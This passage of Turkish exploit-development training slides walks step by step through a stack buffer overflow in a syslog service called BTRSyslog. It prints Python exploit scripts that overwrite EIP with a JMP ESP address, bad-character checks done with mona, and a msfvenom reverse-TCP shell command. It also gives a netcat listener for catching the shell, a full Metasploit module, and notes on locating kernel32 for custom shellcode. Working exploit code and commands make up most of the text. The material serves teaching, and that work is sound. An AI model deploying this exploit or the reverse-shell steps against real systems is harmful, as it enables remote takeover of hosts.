  • 183. EIP REGISTER KONTROLÜ #!/usr/bin/python import socket buffer = "A" * 136 + "B" * 4 + "C" * 60 s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM) s.connect(('192.168.2.13', 514)) s.send(buffer) s.close
  • 184. • Scriptimiz çalıştıktan sonra EIP register'ının 0X42424242 değerleri ile ezildiğini görüyoruz. Bu durumda EIP offset değerimizin doğruluğundan emin olabiliriz. EIP REGISTER KONTROLÜ
  • 185. STACK ALANI • EIP register değerini manipüle ettikten sonra sıra belleğe kendi kodumuzu yazmaya geldi. İşe yarar bir shellcode'un boyutu 350-400 byte civarında olacaktır. • EIP değerini ezmeden önce kullandığımız alan 136 byte olduğundan tercihimiz EIP register'ının ezildiği noktadan sonra shellcode'umuzu yerleştirmek olabilir. • Ancak shellcode'umuzu yazdığımızda Stack alanının başlangıç sınırını aşmayacağımızdan emin olmamız lazım. Aksi taktirde payload'umuz yazılırken hata alırız ve daha kodumuz çalışmadan uygulama sonlanır.
  • 186. #!/usr/bin/python import socket buffer = "A" * 136 + "B" * 4 + "C" * 460 s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM) s.connect(('192.168.2.13', 514)) s.send(buffer) s.close EIP'yi ezdiğimiz alandan sonra yeterli alan bulunup bulunmadığını test etmek için payload'umuza 460 byte'lık bir değer ekleyelim. STACK ALANI
  • 187. Bu noktada 2 iyi haberimiz var: (1) Hata alındığında ESP register'ı payload'umuzun bir bölümüne işaret ediyor. (2) 460 byte'lık veriyi stack'e yazabildik ve stack limitini aşmadık. STACK ALANI
  • 188. Register'larımızdan birisinin payload'umuza işaret etmesi önemli çünkü: • Modern işletim sistemlerinde ASLR uygulandığından stack alanımızın adresi her yüklemede değişecektir. Bu yüzden payload'umuzu çalıştırabilmek için STACK adresine güvenemeyiz. • Ancak uygulamanın bellek alanına yüklenen ve ASLR uygulanmayan bir modülün (yani bir başka DLL veya EXE imajının) içinde JMP ESP, CALL ESP, v.b. instruction'lar varsa bu modülün hafızaya yerleştiği alan her defasında sabit olacağından bu modülleri atlama noktası olarak kullanabiliriz. STACK ALANI
  • 189. • Gerçek payload'umuzu oluşturmaya başlamadan önce payload'umuzun belleğe yazılmasına engel olabilecek karakterlerin (bad chars) tespit edilmesi gerekmektedir. • Bu karakterlerin en tipik olanı strcpy() gibi fonksiyonların belleğe yazmasına son vermesine neden olan "0x00" yani null byte değeridir. Ancak bunun dışında farklı değerler de soruna yol açabilir. • Bu yüzden daha fazla ilerlemeden önce kötü karakterleri tespit etmemizde fayda var. KÖTÜ KARAKTERLER
  • 190. !mona config -set workingfolder c:logs%p Kötü karakterleri tespit etmek için manuel yöntemi kullanabiliriz. Ancak "mona.py" script'inden faydalanacağız. Bunun için öncelikle "mona"nın çıktılarını yazabilmesi için bir dizin belirlememiz lazım. KÖTÜ KARAKTERLER
  • 191. !mona bytearray -b "x00" "mona" ile "x00" hariç tüm byte'ları içerecek bir bytearray oluşturuyoruz. "mona" bir "txt" bir de "bin" dosyası oluşturuyor. KÖTÜ KARAKTERLER
  • 192. "bin" dosyası "mona" ile bellek karşılaştırması için kullanacağımız dosya "txt" dosyası ise exploit kodumuz içinde kullanılabilecek formatta veri içeriyor KÖTÜ KARAKTERLER
  • 193. #!/usr/bin/python import socket badchars = ("x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20" "x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40" "x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60" "x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80" "x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0" "xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0" "xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0" "xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff") buffer = "A" * 136 + "B" * 4 + badchars s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM) s.connect(('192.168.2.13', 514)) s.send(buffer) s.close "CC" payload'umuzun yerine "mona" ile oluşturduğumuz byte array'i yerleştirerek tekrar sunucumuza gönderiyoruz. KÖTÜ KARAKTERLER
  • 194. KÖTÜ KARAKTERLER ESP register değerinin üzerinde sağ klikleyerek "Follow in Dump" seçeneğini seçiyoruz ve sol altta bu alandaki verileri görebiliyoruz. "x09" byte'ından sonraki kesinti hemen göze çarpıyor. Ancak biz kötü karakterlerin tespitinde mona'dan da faydalanmayı göreceğiz.
  • 195. KÖTÜ KARAKTERLER !mona compare -f C:logsBTRSyslogbytearray.bin -a 06C3F450 "mona"nın compare komutuyla oluşturduğumuz binary dosya ile bellek'te 0x06C3F450 adresinden başlayan alanı karşılaştırıyoruz. Mona bize 9. byte'tan sonra bozulma olduğunu x00 ve x0a karakterlerinin kötü karakter olduklarını söylüyor.
  • 196. !mona bytearray -b "x00x0a" "x0a" karakterini kötü karakter olarak belirlediğimiz için "mona" ile "x00" ve "x0a" hariç tüm byte'ları içerecek yeni bir bytearray oluşturuyoruz. KÖTÜ KARAKTERLER
  • 197. #!/usr/bin/python import socket badchars = ("x01x02x03x04x05x06x07x08x09x0bx0cx0dx0ex0fx10x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20x21" "x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40x41" "x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60x61" "x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80x81" "x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0xa1" "xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0xc1" "xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0xe1" "xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff") buffer = "A" * 136 + "B" * 4 + badchars s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM) s.connect(('192.168.2.13', 514)) s.send(buffer) s.close "mona" ile oluşturduğumuz yeniden oluşturduğumuz "x00" ve "x0a" byte'larını içermeyen byte array'i yerleştirerek tekrar sunucumuza gönderiyoruz. KÖTÜ KARAKTERLER
  • 198. KÖTÜ KARAKTERLER Yeni payload'umuzu denediğimizde ESP değerine tıklayarak "Follow in Stack" seçeneğini seçerek tekrar ESP'nin işaret ettiği bellek bölümündeki verileri aşağıda görebiliriz.
  • 199. KÖTÜ KARAKTERLER !mona compare -f C:logsBTRSyslogbytearray.bin -a 06A5F500 Mona "x0d" byte'ının da kötü karakter olduğunu belirledi.
  • 200. !mona bytearray -b "x00x0ax0d" "x0d" karakterini de kötü karakter olarak tanımlayarak yeni bir bytearray oluşturuyoruz. KÖTÜ KARAKTERLER
  • 201. #!/usr/bin/python import socket badchars = ("x01x02x03x04x05x06x07x08x09x0bx0cx0ex0fx10x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20x21x22" "x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40x41x42" "x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60x61x62" "x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80x81x82" "x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0xa1xa2" "xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0xc1xc2" "xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0xe1xe2" "xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff") buffer = "A" * 136 + "B" * 4 + badchars s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM) s.connect(('192.168.2.13', 514)) s.send(buffer) s.close "mona" ile oluşturduğumuz yeni byte array'i yerleştirerek tekrar sunucumuza gönderiyoruz. KÖTÜ KARAKTERLER
  • 202. KÖTÜ KARAKTERLER "x00", "x0a" ve "x0d" karakterlerini içermeyen byte array'i sunucuya gönderdiğimizde stack alanına yazılan veriler aşağıdaki gibi olacaktır. Şimdi tekrar bellek ve bytearray.bin dosyasının karşılaştırmasını yapalım.
  • 203. KÖTÜ KARAKTERLER !mona compare -f C:logsBTRSyslogbytearray.bin -a 06AAF900 Son byte array'imizde herhangi bir kötü karakter yok, tüm payload'umuz belleğe eksiksiz yazıldı.
  • 204. • Uygulama her belleğe yüklendiğinde STACK adresi değiştiğinden EIP değerini sabit bir STACK adresi ile ezemiyoruz. • Bu nedenle BTRSyslog proses'inin adres alanında yüklü ancak ASLR desteği bulunmayan bir modül içinde JMP ESP ve benzeri bir instruction bulmalı ve EIP değerini bu instruction'ın adresi olarak belirlemeliyiz. RETURN ADDRESS – JMP ESP
  • 205. !mona modules ASLR desteği olmayan modüllere göz attığımızda BTRSysdll.dll modülünün aradığımız koşula uygun olduğunu görebiliyoruz. RETURN ADDRESS – JMP ESP
  • 206. !mona find -type instr -s "jmp esp" -m BTRSysdll.dll "mona" bize aradığımız instruction'ın adresini bulmamızda da yardımcı oluyor. Normalde bu instruction'ın opcode'larını bularak binary bir arama yapmamız gerekirdi. Ancak "mona" bizim için bunu bile kendisi yapıyor. 0x5060103b RETURN ADDRESS – JMP ESP
  • 207. • Bu adreste hangi instruction'ların bulunduğunu görmek istersek Go To Address butonuna tıklayarak ilgili adrese gidebiliriz. RETURN ADDRESS – JMP ESP
  • 208. 5060103B FFE4 JMP ESP RETURN ADDRESS – JMP ESP
  • 209. • "JMP ESP" adresini tespit ettiğimize göre artık uygulama akışına müdahale edebiliriz. • Payload'umuzun EIP register’ını ezdiği noktaya "JMP ESP" instruction'ının adresini yazarak uygulamayı bu noktaya yönlendireceğiz. • Buradaki dikkat edilmesi gereken nokta X86 mimarisi Little Endian veri formatını kullandığı için adresimizi payload'umuzun içine Little Endian formatında yazmamız gerektiğidir. 0x5060103b > Little Endian x3bx10x60x50 SHELLCODE
  • 210. #!/usr/bin/python import socket buffer = "A" * 136 + "x3bx10x60x50" + "C" * 460 s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM) s.connect(('192.168.2.13', 514)) s.send(buffer) s.close EIP'yi ezdiğimiz alana Little Endian formatında "0x5060103b" değerini yazıyoruz. SHELLCODE
  • 211. • "JMP ESP" işlemi gerçekleştiğinde "CC" karakterlerinin olduğu alana atlayacağız. Bu adımı gözlemlemek ve uygulama akışını payload'umuza yönlendirdiğimizden emin olabilmek için debugger'ımızda atlama adresimize "Breakpoint" koyabiliriz. • Bunu yapmadığımız taktirde uygulamamız hata alarak sonlanacak, çünkü yüklediğimiz payload işe yarar bir payload değil. SHELLCODE
  • 212. Immunity debugger'ın alt kısmında bulunan komut satırından breakpoint tanımlayabilirsiniz. "b" düğmesine tıklayarak da breakpoint listesini görüntüleyebilirsiniz. SHELLCODE
  • 214. Follow in Dump - Selection SHELLCODE
  • 215. • Breakpoint koymakla uğraşmak yerine şu şekilde de payload'umuza atlandığından emin olabilirdik. • "0xCC" değeri "INT 3", yani software breakpoint instruction'ı anlamına gelir. ASCII C (yani "0x43") karakterlerini yazdığımız alana bu değeri yazsaydık uygulama payload'umuza atladığı anda breakpoint uygulanabilirdi. SHELLCODE
  • 216. #!/usr/bin/python import socket buffer = "A" * 136 + "x3bx10x60x50" + "xCC" * 460 s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM) s.connect(('192.168.2.13', 514)) s.send(buffer) s.close 0x43 değerine sahip olan ASCII C karakteri yerine Hex "CC" değerini yazıyoruz. Böylece uygulama akışı bu alana yönlendiğinde breakpoint işlemi gerçekleşecek. SHELLCODE
  • 217. CC int3 Payload'umuz'un tam halini Follow in Dump yaparak gözlemleyebiliriz SHELLCODE
  • 218. • Artık shellcode'umuzu üreterek payload'umuz içinde uygun yere yerleştirebiliriz. • Hedef sunucudan reverse TCP shell almak için msfvenom'un üreteceği bir shellcode'u kullanabiliriz. • Üreteceğimiz shellcode'un içinde kötü karakter bulunmaması için "-b" opsiyonunu kullanabiliriz. msfvenom -p windows/shell_reverse_tcp LHOST=192.168.x.x LPORT=4445 -e x86/shikata_ga_nai -f c -b "x00x0ax0d" SHELLCODE
  • 220. • Msfvenom yaklaşık 350 byte uzunluğunda bir shellcode oluşturdu. • Bu shellcode’u daha önce stack alanına yazdırdığımız ‘C’ karakterlerinin yerini alacak şekilde scriptimizi revize ediyoruz. • Oluşturduğumuz shellcode çalışırken belirtilen stack alanının ilk bir kaç bytelık bölümünü eziyor. Bu durumun shellcode'u bozmasını engellemek için shellcode'umuzun önünde ("0x90") NOP instruction'larından bir tampon alan oluşturacağız. • NOP instruction'ını etkisiz bir komut olarak düşünebilirsiniz (XCHG EAX, EAX). SHELLCODE
  • 222. • Son adım olarak Kali üzerinde NetCat ile TCP 4445 portundan dinleyecek bir servis başlatacağız. • Bu hazırlıktan sonra exploit kodumuzu çalıştırarak reverse shell alabiliriz. # nc -lvp 4445 REVERSE SHELL
  • 224. • Mevcut açıklıktan daha kolay faydalanabilmek için, oluşturduğumuz exploit kodunu metasploit üzerine ekleyeceğiz. • Bu işlem için öncelikle örnek bir metasploit exploit kodu bulalım. • Metasploit içerisinde bulunan kodlar Ruby dile ile yazılmış olup, metasploit tarafından özel olarak hazırlanmış kütüphaneleri kullanmaktadırlar. METASPLOIT ÜZERİNE EXPLOIT EKLEME
  • 225. require 'msf/core' class MetasploitModule< Msf::Exploit::Remote Rank = NormalRanking include Exploit::Remote::Udp def initialize(info= {}) super(update_info(info, 'Name' => 'BTRSyslog Remote Exploit', 'Description' => %q{BTRSyslog Buffer Overflow}, 'License' => MSF_LICENSE, 'Author' => ['Emre Karadeniz',], 'References' => [[ 'http://www.btrisk.com'],], 'DefaultOptions' => {'EXITFUNC' => 'thread',}, 'Payload' => {'BadChars' => "x00x0ax0d",}, 'Platform' => 'win', 'Targets' => [ ['Tum Windows Isletim Sistemleri', { 'Ret' => 0x5060103B, 'Offset' => 136 }], ], 'DisclosureDate' => 'October 29 2023', 'DefaultTarget' => 0)) register_options([Opt::RPORT(514),],self.class) end #Exploit isleminintanimlandigi bolum def exploit connect_udp sploit = rand_text_alpha(target['Offset'], bad = payload_badchars) sploit << [target.ret].pack('V') sploit << make_nops(16) sploit << payload.encoded udp_sock.put(sploit) handler disconnect_udp end end btrsyslog.rb JMP ESP adresi Offset değeri METASPLOIT ÜZERİNE EXPLOIT EKLEME
  • 226. btrsyslog.rb 136 byte'lık random karakter, ancak kötü karakter içermemeli Handler'ı başlatıyoruz JMP ESP atlama adresi 16 adet NOP instruction'ı PAYLOAD Payload'u gönderiyoruz METASPLOIT ÜZERİNE EXPLOIT EKLEME
  • 227. • Scriptimiz btrsyslog.rb ismiyle kaydediyoruz ve /usr/share/metasploit- framework/modules/exploits/windows/misc dizinine kopyalıyoruz. • Msfconsole komutu ile metasploit framework’u çalıştırıyoruz. • Kodumuzda herhangi bir hata olması durumda msfconsole bizi uyaracaktır. /usr/share/metasploit- framework/modules/exploits/windows/misc/ btrsyslog.rb METASPLOIT ÜZERİNE EXPLOIT EKLEME
  • 228. btrsyslog.rb script'imizi ilgili Metasploit dizinine kopyalıyoruz. METASPLOIT ÜZERİNE EXPLOIT EKLEME
  • 229. Eğer script'imiz Metasploit'in kurallarına uygun değilse yukarıdaki gibi bir uyarı görebilirsiniz. Bu durumda script'iniz yüklenmeyecektir. METASPLOIT ÜZERİNE EXPLOIT EKLEME
  • 230. "search btrsyslog" komutu ile script'imizi arayalım METASPLOIT ÜZERİNE EXPLOIT EKLEME
  • 231. "show options" komutu ile script'imizin belirlenmesi gereken parametrelerini görelim METASPLOIT ÜZERİNE EXPLOIT EKLEME
  • 232. RHOST parametresini hedef sunucumuz olarak belirledikten sonra öntanımlı payload olan meterpreter reverse TCP payload'u ile erişim sağlayabiliriz METASPLOIT ÜZERİNE EXPLOIT EKLEME
  • 233. • Kullandığımız shellcode hazır bir shellcode, dolayısıyla shellcode'u belleğe yazma alanımız kısıtlıysa veya güvenlik çözümlerinden kaçınabilmek istiyorsak shellcode geliştirme yeteneğimizin bulunması gerekir. • Shellcode derlenen bir kodun sahip olduğu pekçok avantaja sahip olmayıp belleğin hangi noktasında kendisini bulursa bulsun yolunu bulabileceği yeteneğe sahip olmak zorundadır. Bu da shellcode geliştirecek kişinin Assembly dilini bilmesinin yanı sıra bir uygulama belleğe yüklendiğinde proses ile ilgili oluşan belli veri yapılarını bilmesini gerektirir. EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ
  • 234. EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ THREAD ENVIRONMENT BLOCK (TEB) • Adım-1: PEB’in adresinin bulunması 0:000> !teb TEB at 7efdd000 ExceptionList: 0026f814 StackBase: 00270000 StackLimit: 0026e000 SubSystemTib: 00000000 FiberData: 00001e00 ArbitraryUserPointer: 00000000 Self: 7efdd000 EnvironmentPointer: 00000000 ClientId: 00001920 . 00001928 RpcHandle: 00000000 Tls Storage: 7efdd02c PEB Address: 7efde000 LastErrorValue: 0 LastStatusValue: 0 Count Owned Locks: 0 HardErrorMode: 0 fs:[0] fs:[30] 0x30 KERNEL32.DLL MODÜLÜNÜ BELLEKTE BULMAK
  • 235. EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ PROCESS ENVIRONMENT BLOCK (PEB) • Adım-2: _PEB_LDR_DATA veri yapısının bulunması 0:000> dt nt!_peb 7efde000 ntdll!_PEB +0x000 InheritedAddressSpace : 0 '' +0x001 ReadImageFileExecOptions : 0 '' +0x002 BeingDebugged : 0x1 '' +0x003 BitField : 0x8 '' +0x003 ImageUsesLargePages : 0y0 +0x003 IsProtectedProcess : 0y0 +0x003 IsLegacyProcess : 0y0 +0x003 IsImageDynamicallyRelocated : 0y1 +0x003 SkipPatchingUser32Forwarders : 0y0 +0x003 SpareBits : 0y000 +0x004 Mutant : 0xffffffff Void +0x008 ImageBaseAddress : 0x01380000 Void +0x00c Ldr : 0x77240200 _PEB_LDR_DATA +0x010 ProcessParameters : 0x002f2178 _ .... fs:[30] 0x0c KERNEL32.DLL MODÜLÜNÜ BELLEKTE BULMAK
  • 236. EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ _PEB_LDR_DATA • Adım-3: Modül zincir listelerinin bulunması 0:000> dt _PEB_LDR_DATA 0x77240200 ntdll!_PEB_LDR_DATA +0x000 Length : 0x30 +0x004 Initialized : 0x1 '' +0x008 SsHandle : (null) +0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x2f4cf8 - 0x2f5990 ] +0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x2f4d00 - 0x2f5998 ] +0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x2f4d98 - 0x2f59a0 ] +0x024 EntryInProgress : (null) +0x028 ShutdownInProgress : 0 '' +0x02c ShutdownThreadId : (null) 0x1c KERNEL32.DLL MODÜLÜNÜ BELLEKTE BULMAK
  • 237. EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ MODÜL ZİNCİR LİSTESİ • Adım-4: Başlatılma sırasına göre modül zincir listesinin izlenmesi 0:000> dt _LIST_ENTRY 0x7724021c ntdll!_LIST_ENTRY [ 0x2f4d98 - 0x2f59a0 ] +0x000 Flink : 0x002f4d98 _LIST_ENTRY [ 0x2f5230 - 0x7724021c ] +0x004 Blink : 0x002f59a0 _LIST_ENTRY [ 0x7724021c - 0x2f5118 ] 0:000> dt _LIST_ENTRY 0x002f4d98 ntdll!_LIST_ENTRY [ 0x2f5230 - 0x7724021c ] +0x000 Flink : 0x002f5230 _LIST_ENTRY [ 0x2f5118 - 0x2f4d98 ] +0x004 Blink : 0x7724021c _LIST_ENTRY [ 0x2f4d98 - 0x2f59a0 ] 0:000> dt _LIST_ENTRY 0x002f5230 ntdll!_LIST_ENTRY [ 0x2f5118 - 0x2f4d98 ] +0x000 Flink : 0x002f5118 _LIST_ENTRY [ 0x2f59a0 - 0x2f5230 ] +0x004 Blink : 0x002f4d98 _LIST_ENTRY [ 0x2f5230 - 0x7724021c ] 1 2 3 KERNEL32.DLL MODÜLÜNÜ BELLEKTE BULMAK
  • 238. EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ MODÜL ADI • Adım-5: Modül adının bulunması 0:000> dd 0x002f4d98 + 20 002f4db8 77185bc4 00004004 0000ffff 002f59cc 002f4dc8 772448e0 521ea8e7 00000000 00000000 0:000> db 77185bc4 77185bc4 6e 00 74 00 64 00 6c 00-6c 00 2e 00 64 00 6c 00 n.t.d.l.l...d.l. 77185bd4 6c 00 00 00 14 00 16 00-e0 5b 18 77 5c 00 53 00 l........[.w.S. 77185be4 59 00 53 00 54 00 45 00-4d 00 33 00 32 00 5c 00 Y.S.T.E.M.3.2.. 77185bf4 00 00 90 90 90 90 90 8b-ff 55 8b ec 51 51 83 65 .........U..QQ.e 77185c04 fc 00 53 56 8b 35 0c 02-24 77 57 81 fe 0c 02 24 ..SV.5..$wW....$ 77185c14 77 74 31 8d 45 f8 50 6a-09 8b fe 8b 36 6a 01 ff wt1.E.Pj....6j.. KERNEL32.DLL MODÜLÜNÜ BELLEKTE BULMAK
  • 239. EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ (+0x3c) Yeni EXE Header Offseti IMAGE DOS HEADER (+0x78) EXPORT Table IMAGE OPTIONAL HEADER (+0x20) Name Pointer Table RVA IMAGE EXPORT DIRECTORY # Function Name RVA EXPORT Name Pointer Table Function Ordinal EXPORT Ordinal Table Function RVA EXPORT Address Table WinExec Fonksiyon RVA Adresi + Modül Baz Adresi = Fonksiyon VA Adresi Modül Baz Adresi (+0x24) (+0x1c) Sayaç: # of Functions (+0x14) BİR MODÜL İÇİNDE BİR FONKSİYONUN ADRESİNİ BULMAK
  • 240. EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ